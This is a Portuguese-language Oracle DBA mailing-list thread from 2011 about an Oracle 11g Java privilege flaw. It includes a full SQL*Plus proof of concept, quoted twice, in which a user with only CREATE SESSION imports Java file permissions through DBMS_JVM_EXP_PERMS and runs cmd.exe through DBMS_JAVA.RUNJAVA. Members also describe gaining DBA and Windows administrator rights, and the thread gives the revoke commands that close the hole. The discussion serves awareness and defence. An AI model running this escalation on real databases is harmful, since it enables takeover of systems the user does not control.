 DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
  CDIR
  --
  
 
  11:15:36 SQL
 
  Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo
 
  C:\Documents and Settings\Alessandrocd\
 
  C:\dir blah.txt
  O volume na unidade C não tem nome.
  O número de série do volume é 9C90-1F08
 
  Pasta de C:\
 
  03/05/2011 11:15 1.281 blah.txt
  1 arquivo(s) 1.281 bytes
  0 pasta(s) 14.178.578.432 bytes disponíveis
 
  E posso virar dba, administrador da maquina...
  Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer
 em
  10.2.0.4
 
  Abraços
  Alessandro Guimaraes
  http://aguimaraes.wordpress.com.br
 
  -Mensagem original-
  De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br]
 Em
  nome de Ivan Ricardo Schuster
  Enviada em: terça-feira, 3 de maio de 2011 10:01
  Para: oracle_br@yahoogrupos.com.br
  Assunto: Re: [oracle_br] Falha de segurança do

Re: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Rosivaldo Ramalho
Só lembrando se você fizer o revoke, antes de qualquer upgrade ou
instalação de option, tem que voltar os privilégios.

2011/5/3 Neto Longhi neto.lon...@gmail.com:
 OK Alessandro, vou estudar as minhas opçoes.
 Obrigado

 Em 3 de maio de 2011 12:23, Alessandro Guimarães 
 alessan...@applysolutions.com.br escreveu:



 Neto,
 Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os
 revoke.
 Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia
 remove-la tbm
 Se for necessário Java você pode criar uma role para as packages e conceder
 privilegio de execute para esta role.
 De qualquer forma qualquer caminho acima tem que avaliar todos os
 riscos/efeitos colaterais.


 Abraços
 Alessandro Guimaraes
 http://aguimaraes.wordpress.com

 -Mensagem original-
 De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
 nome de Neto Longhi
 Enviada em: terça-feira, 3 de maio de 2011 11:54

 Para: oracle_br@yahoogrupos.com.br
 Assunto: Re: [oracle_br] Falha de segurança do 11g

 Nossa que furo. Vlw pela explicação Alessandro.
 Pra ajeitar essa falha é só executar:
 revoke execute on DBMS_JVM_EXP_PERMS from public;
 revoke execute on DBMS_JAVA from public;
 revoke execute on DBMS_JAVA_TEST from public;
 ?

 Em 3 de maio de 2011 11:19, Alessandro Guimarães 
 alessan...@applysolutions.com.br escreveu:

 
 
  Neto e Ivan,
  Aqui vai um exemplo ate o usuário conseguir importar permissões Java
  F:\pathsqlplus / as sysdba
 
  SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011
 
  Copyright (c) 1982, 2007, Oracle. All rights reserved.
 
  Conectado a:
  Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
  With the Partitioning, OLAP, Data Mining and Real Application Testing
  options
 
  SQL select * from v$version;
 
  BANNER
  --
  
  Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
  PL/SQL Release 11.1.0.6.0 - Production
  CORE 11.1.0.6.0 Production
  TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
  NLSRTL Version 11.1.0.6.0 - Production
 
  SQL create user alex identified by senha;
 
  Usußrio criado.
 
  SQL grant create session to alex;
 
  ConcessÒo bem-sucedida.
 
  === Aqui podemos ver que o usuário apenas tem o priv de create session
  SQL connect alex/senha
  Conectado.
  SQL select * from session_roles;
 
  nÒo hß linhas selecionadas
 
  SQL select * from session_privs;
 
  PRIVILEGE
  
  CREATE SESSION
 
  =
 
  Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
  SQL conn / as sysdba
  Conectado.
  SQL SELECT type_name, name , action
  2 FROM sys.dba_java_policy == esta view eh basead em java$policy$
  3 WHERE grantee = 'ALEX'
  4 /
 
  nÒo hß linhas selecionadas
 
  
  Conecta novamente como o usuário e importa os privilégios. O furo aqui é
 o
  privilegio de execute to public em dbms_jvm_exp_perms
  =
  SQL conn alex/senha
  Conectado.
 
  SQL DECLARE
  2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3 CURSOR C1 IS SELECT 'GRANT',USER(),
  'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from
  dual;
  4 BEGIN
  5 OPEN C1;
  6 FETCH C1 BULK COLLECT INTO POL;
  7 CLOSE C1;
  8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9 END;
  10 /
 
  Procedimento PL/SQL concluÝdo com sucesso.
 
  
  Verifica aqui que o usuario agora tem priveligios de execute
  SQL conn / as sysdba
  Conectado.
  SQL col type_name for a30
  SQL col name for a30
  SQL col action for a10
  SQL SELECT type_name, name , action
  2 FROM sys.dba_java_policy
  3 WHERE grantee = 'ALEX'
  4 /
 
  TYPE_NAME NAME ACTION
  -- -- --
 
  java.io.FilePermission ALL FILES execute
 
  SQL
 
  A partir daqui posso como usuário ALEX posso executar um comando do
 sistema
  operacional. Por exemplo
 
  SQL conn alex/senha
  Conectado.
  SQL set time on
  11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper
  c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual;
 
 
 

 DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
  CDIR
  --
  
 
  11:15:36 SQL
 
  Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo
 
  C:\Documents and Settings\Alessandrocd\
 
  C:\dir blah.txt
  O volume na unidade C não tem nome.
  O número de série do volume é 9C90-1F08
 
  Pasta de C:\
 
  03/05/2011 11:15 1.281 blah.txt
  1 arquivo(s) 1.281 bytes
  0 pasta(s) 14.178.578.432 bytes disponíveis
 
  E posso virar dba, administrador da maquina...
  Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer
 em
  10.2.0.4
 
  Abraços
  Alessandro Guimaraes
  http://aguimaraes.wordpress.com.br
 
  -Mensagem original-
  De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br]
 Em

[oracle_br] Falha de segurança do 11g

2011-05-02 Por tôpico Neto Longhi
Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha de
segurança do 11g. Não sabia disso e achei interessante postar aqui.
tai o link
http://aguimaraes.wordpress.com/

David Litchfield, achou vulnerabilidades de segurança no Oracle 11g, embora
os testes que eles fez tenham sido na versão 11gR2, a falha também acontece
no Oracle 11gR1.
O problema acontece devido a privilégios super generosos para as procedures
java, permitindo que um usuario com apenas privilegio de create sesssion,
possa se tornar um DBA, tendo assim total controle do banco.
Alem disso, este mesmo usuario pode, com um simples select executar comandos
do sistema operacional, como por exemplo gerar um arquivo.txt.
Em casa fiz um teste e consegui t criar um usuario no sistema operacional e
torna-lo membro do grupo administrator do windows. Terrivel não. ?
A Oracle não tem patch…nem se pronuciou quanto a falha. No entanto você pode
fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages:

*revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;*


-- 
Att,
José Longhi Laurindo Neto
Bacharel em Ciência da Computação.
DBA Oracle Jr.
Tel: (91) 81970312
E-mail: neto.lon...@gmail.com


[As partes desta mensagem que não continham texto foram removidas]





--
Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira 
responsabilidade de seus remetentes.
Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ 
--
Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » 
Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: 
http://www.oraclebr.com.br/  

 Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/oracle_br/

* Para sair deste grupo, envie um e-mail para:
oracle_br-unsubscr...@yahoogrupos.com.br

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html